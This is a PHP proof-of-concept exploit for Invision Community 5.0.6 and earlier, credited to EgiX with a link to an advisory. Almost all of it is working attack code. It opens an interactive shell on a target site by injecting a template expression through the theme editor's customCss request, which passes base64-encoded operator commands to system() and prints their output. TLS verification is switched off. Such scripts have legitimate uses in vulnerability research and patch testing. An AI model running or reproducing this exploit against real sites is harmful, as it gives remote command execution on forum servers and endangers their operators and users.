Invision Community 5.0.6 - Remote Code Execution (RCE)

<?php


/*
    ---------------------------------------------------------------------------
    Exploit Title: Invision Community 5.0.6 - Remote Code Execution (RCE)
    ---------------------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://invisioncommunity.com
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2025-02
*/

set_time_limit(0);
error_reporting(E_ERROR);

print "\n+-------------------------------------------------------------------+";
print "\n| Invision Community <= 5.0.6 Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");

if ($argc != 2)
{
	print "\nUsage......: php $argv[0] <URL>\n";
	print "\nExample....: php $argv[0] http://localhost/invision/";
	print "\nExample....: php $argv[0] https://invisioncommunity.com/\n\n";
	die();
}

$ch = curl_init();

$params = ["app" => "core", "module" => "system", "controller" => "themeeditor", "do" => "customCss"];

curl_setopt($ch, CURLOPT_URL, $argv[1]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

while (1)
{
	print "\ninvision-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	$params["content"] = sprintf("{expression=\"die('________'.system(base64_decode('%s')))\"}", base64_encode($cmd));
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
	preg_match("/(.*)________/s", curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
}